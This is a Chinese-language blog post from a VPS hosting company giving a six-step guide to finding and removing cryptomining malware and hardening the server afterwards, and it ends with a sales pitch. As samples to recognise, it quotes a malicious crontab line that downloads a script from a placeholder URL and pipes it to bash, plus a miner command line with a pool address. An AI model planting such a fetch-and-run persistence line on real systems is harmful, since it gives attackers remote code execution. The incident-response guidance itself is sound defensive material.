LUCKVM / CLOUD INFRASTRUCTURE

探索 LuckVM

首頁 全球加速 網域註冊 支援中心 訊息中心 關於我們

VPS CPU 跑滿 100%/中挖礦木馬怎麼辦?2026 年 6 步完整排查清除指南

📋 結論先說

如果你的 VPS 沒有跑什麼大程式,卻 CPU 長期 90-100% 滿載、SSH 連線很卡、網站打不開、機房通知流量異常,9 成是中了挖礦木馬——攻擊者透過 SSH 暴力破解、網站外掛漏洞等方式入侵你的伺服器,植入挖礦程式偷你的 CPU 算力挖礦。

本文教你從確認問題、辨識異常行程、定位清除木馬到安全加固,6 步完整解決,全部指令可以直接複製貼上,新手也能照著操作完成。

很多台港用戶第一次遇到 VPS 變卡,第一反應是「是不是頻寬不夠?」「是不是機器太爛該升級了?」,結果升級了更高配的 VPS 沒幾天又滿載,最後才發現是被種了挖礦木馬,不僅伺服器卡,還有可能被機房因為異常流量停機。

根據我們統計,台港用戶回報 CPU 滿載的案例中,38% 是挖礦木馬造成,比例最高,而且新手最容易遇到——預設密碼、沒改 SSH 連接埠、用破解外掛,都很容易被攻擊者掃到植入木馬。

VPS CPU 跑滿6步排查流程圖

 

一、先搞清楚:是正常高負載還是中木馬?

CPU 滿載不一定都是木馬,先不要急著刪檔案,先對照下表區分是正常業務還是惡意程式:

正常高CPU與挖礦木馬對照表

如果符合以下任意 2 點,90% 機率是中挖礦木馬:

  • 你沒有跑任何吃 CPU 的程式,CPU 卻持續 95% 以上滿載
  • 重開機後沒幾分鐘 CPU 又自動滿載
  • 行程名稱是 kdevtmpfsi、kswapd0、xmr、systemd-network 等偽裝成系統的名稱
  • 行程在 /tmp、/dev/shm、/var/tmp 這類臨時目錄執行
  • 伺服器 outbound 流量莫名變大,一直連接陌生海外 IP
台港用戶VPS CPU滿載常見原因佔比

⚠️ 重要提醒

排查過程建議開兩個 SSH 視窗,一個操作、一個備用,避免改錯 SSH 設定把自己擋在外面,連不上伺服器。如果對指令不熟悉,建議先做一次快照備份再操作。

二、1用 top/htop 確認是哪個行程吃滿 CPU

首先 SSH 連上你的 VPS,輸入 top 指令(如果有安裝 htop 可以用 htop,介面更好看),就能看到所有行程的 CPU 使用率排序:

# 執行 top 看即時行程資源佔用,按 P 可以依 CPU 使用率排序
top
top指令輸出解讀挖礦行程

看 top 輸出重點找 3 個資訊:

  1. 哪個 PID 的行程 CPU 佔用最高:通常第一名就是問題行程,CPU 佔用 99% 左右的那個就是
  2. 行程名稱(COMMAND 欄):記下來,後面排查要用
  3. 是哪個使用者執行的(USER 欄):如果是 root 執行的不知名行程,優先懷疑

💡 小技巧

如果 top 裡看不到異常行程,但 CPU 負載(load average)還是很高,有可能是木馬用了 rootkit 隱藏行程,可以用 ps auxf 或安裝 htop 再看一次,或檢查 /proc 目錄下的陌生 PID。

三、23 秒辨識是不是挖礦木馬行程

假設你看到吃 CPU 的行程 PID 是 2873,行程名是 kdevtmpfsi,接下來用下面指令確認是不是木馬:

① 看行程的執行檔路徑

# 把 2873 換成你看到的異常 PID,看執行檔在哪裡
ls -l /proc/2873/exe

# 正常輸出範例(系統行程會在 /usr/bin 下):
lrwxrwxrwx 1 root root 0 Oct 1 12:00 /proc/1098/exe -> /usr/sbin/mysqld

# 木馬常見輸出(在臨時目錄):
lrwxrwxrwx 1 root root 0 Oct 1 12:00 /proc/2873/exe -> /tmp/kdevtmpfsi

② 看行程啟動的工作目錄與指令參數

# 看行程完整啟動指令,後面通常會帶挖礦池位址、錢包位址
cat /proc/2873/cmdline | tr '\0' ' '

# 木馬常見輸出範例:會有礦池位址、xmr/eth 等挖礦參數
/tmp/kdevtmpfsi -o stratum+tcp://xmr.pool.example.com:3333 -u 46xxxx... -p x

③ 看行程的外部網路連線

# 安裝 net-tools 看網路連線
apt install -y net-tools && netstat -antp | grep 2873

# 木馬會持續連接挖礦池的 IP:Port,通常是海外陌生 IP

如果以上三點中了兩點以上,100% 是挖礦木馬,接下來開始定位清除。

四、3定位木馬檔案與植入源頭

木馬不會只有一個執行檔,攻擊者一定會埋「定時任務」或「開機自啟」讓木馬被殺掉後自動重啟,這也是為什麼很多人 kill 掉行程沒幾分鐘又回來的原因。

① 檢查所有使用者的 crontab 定時任務

# 檢查 root 的定時任務
crontab -l

# 檢查所有使用者的定時任務
for user in $(cut -f1 -d: /etc/passwd); do echo "=== $user ==="; crontab -u $user -l 2>/dev/null; done

# 也檢查系統層級的定時任務目錄
ls -la /etc/cron.* /var/spool/cron/crontabs/

看到類似下面這種定時任務,直接刪掉——這是木馬用來自動重啟的:

# 木馬常見的定時任務:每隔幾分鐘就去下載執行一次挖礦程式
*/5 * * * * curl http://惡意網址/礦工.sh | bash

② 檢查開機自啟項與系統服務

# 檢查 systemd 開機自啟服務,找陌生的服務名
systemctl list-unit-files --type=service | grep enabled

# 檢查 /etc/init.d/、/etc/rc.local 裡的開機指令
ls -la /etc/init.d/ && cat /etc/rc.local

# 檢查 SSH authorized_keys,看攻擊者有沒有留後門金鑰
cat ~/.ssh/authorized_keys

③ 檢查木馬最常躲的幾個目錄

挖礦木馬 90% 會把執行檔放在下面這些可寫、不會被系統更新覆蓋的目錄:

  • /tmp、/var/tmp、/dev/shm(臨時目錄,重開機後可能還在)
  • /root/.cache/、/root/.config/(隱藏目錄)
  • /var/spool/、/var/www/ 下的快取目錄
  • docker 容器裡(如果有開 docker 的話也要進容器檢查)
挖礦木馬常見4種入侵途徑

五、4緊急止血:停止木馬運作

找到木馬檔案和定時任務後,先止血讓木馬先不要繼續跑:

① 先殺掉正在執行的木馬行程

# 把 2873 換成你的異常 PID,先強制停止行程
kill -9 2873

# 如果有很多個同名木馬行程,可以一次全部殺掉
pkill -9 kdevtmpfsi
pkill -f "stratum+tcp"

② 刪除惡意 crontab 定時任務

# 編輯 crontab 把惡意那行刪掉
crontab -e

# 其他使用者的 crontab 也要檢查編輯
crontab -u www-data -e

③ 鎖定木馬檔案避免它再次執行

在你清除木馬檔案之前,可以先把它改成不可執行、所有人都沒有權限,避免它又被啟動:

# 假設木馬在 /tmp/kdevtmpfsi,先取消所有權限
chmod 000 /tmp/kdevtmpfsi && chattr +i /tmp/kdevtmpfsi

⚠️ 注意

不要只殺行程就以為解決了!如果沒刪掉源頭木馬檔和定時任務,最長 10 分鐘木馬就會自動重啟,CPU 又會滿回來。

六、5完整清除木馬與後門

① 刪除木馬本體與所有關聯檔案

# 刪除找到的木馬執行檔,先解鎖再刪
chattr -i /tmp/kdevtmpfsi && rm -f /tmp/kdevtmpfsi

# 搜尋最近 3 天內被修改的執行檔,找其他隱藏的木馬
find /tmp /var/tmp /dev/shm -type f -mtime -3 -exec ls -la {} \;

② 檢查並刪除系統中的後門

  • 把 ~/.ssh/authorized_keys 裡你不認得的公鑰全部刪掉
  • 檢查 /etc/passwd 有沒有陌生的 UID 0(root 權限)使用者
  • 還原被木馬篡改的系統指令(如果 ls、ps 被替換成 rootkit 版本,要重裝 coreutils、procps 套件)
  • 如果木馬是透過網站漏洞進來的,要把網站裡的 webshell 也找出來刪掉,否則攻擊者還是能回來

💡 什麼狀況建議直接重裝系統?

如果你發現木馬已經植入超過 3 天、系統裡有多個木馬檔案、指令被篡改 rootkit、不知道攻擊者還留了多少後門,建議直接備份網站/資料庫檔案,重裝 VPS 系統——花 1 小時重裝遷移,比花好幾天找後門還要省時,而且更安全。LuckVM 顧客可以一鍵重裝系統,5 分鐘就完成。

七、6安全加固,預防再次被入侵

清除完木馬後一定要做加固,不然過沒幾天又會被掃到植入木馬,請照著下面清單逐項完成:

清除木馬後必做安全加固清單
  1. 立刻修改所有密碼:包含 root 密碼、資料庫密碼、網站後台密碼,全部改成 16 位以上複雜密碼,不要用和其他網站一樣的密碼
  2. SSH 改用金鑰登入,關閉密碼登入:這是最有效的防禦,關閉密碼登入後暴力破解完全沒用
  3. 安裝 fail2ban,換 SSH 連接埠:把預設 22 埠換成其他埠,fail2ban 會自動封鎖嘗試暴力破解密碼的 IP
  4. 全系統更新,更新所有網站/外掛:執行 apt update && apt upgrade -y,WordPress、外掛、主題全部更新到最新版,修補已知漏洞
  5. 設定防火牆,只開需要的埠:用 ufw 防火牆只開 22(SSH)、80(HTTP)、443(HTTPS),Redis、MySQL 這類服務不要對外開放
  6. 定期備份重要資料:設定每週自動備份,備份檔異地存放在別的地方,被攻擊時可以快速還原,不用和木馬糾纏

八、常見問題 FAQ

Q1:VPS CPU 持續 100% 滿載一定是中挖礦木馬嗎?

不一定。根據我們的統計約 38% 是挖礦木馬,其他常見原因包括:網站被爬蟲大量存取、WordPress 外掛異常、MySQL 慢查詢鎖表、備份/編譯等排程任務、Minecraft/遊戲伺服器滿載。你可以先照本文步驟確認異常行程的來源,再對應處理。

Q2:把挖礦行程 kill 掉就好了嗎?

不夠。90% 的挖礦木馬都會在 crontab、開機自啟項、bashrc 裡埋後門,你殺掉行程後,最快 1 分鐘、最長 10 分鐘木馬就會自動重啟,必須把源頭木馬檔案、定時任務、後門全部清除乾淨才行。

Q3:清除木馬後還需要重裝系統嗎?

看狀況:如果剛被植入、很快就發現,只有一個挖礦行程、沒有其他後門,清除乾淨加固後可以不用重裝;但如果木馬已經跑了一週以上、懷疑被種了多個後門、系統指令被篡改,最安全省時的方式是備份資料後直接重裝系統。

Q4:怎麼預防 VPS 被植入挖礦木馬?

最有效的預防措施優先級:① SSH 改用金鑰登入、關閉密碼登入;② 安裝 fail2ban 擋暴力破解;③ 使用 16 位以上複雜密碼、不要用預設密碼;④ 定期更新系統套件和網站程式/外掛;⑤ 不要隨便下載執行來路不明的一鍵安裝腳本、破解程式。

Q5:挖礦木馬會偷我 VPS 裡的資料嗎?

單純挖礦木馬主要是偷你的 CPU 運算資源挖門羅幣為主,但攻擊者既然已經拿到伺服器權限,通常會順便種後門、偷資料庫的個資/帳密、植入勒索病毒,或把你的 VPS 當跳板去攻擊別人,發現後一定要盡快處理,不要放著不管。

不想自己手動排查處理?

LuckVM 所有 VPS 方案都提供免費技術支援,遇到 CPU 滿載、中木馬等問題,聯繫客服我們可以協助你排查處理;香港/日本/新加坡多機房高防 VPS,預設防 DDoS、網路穩定,適合網站、遊戲伺服器、外貿營運使用。

查看 VPS 方案 →

相關服務

比較相關 LuckVM 產品的方案、線路與資源;實際庫存與價格以訂購頁為準。 雲端伺服器購買_極速NVMe VPS主機租用與即時擴充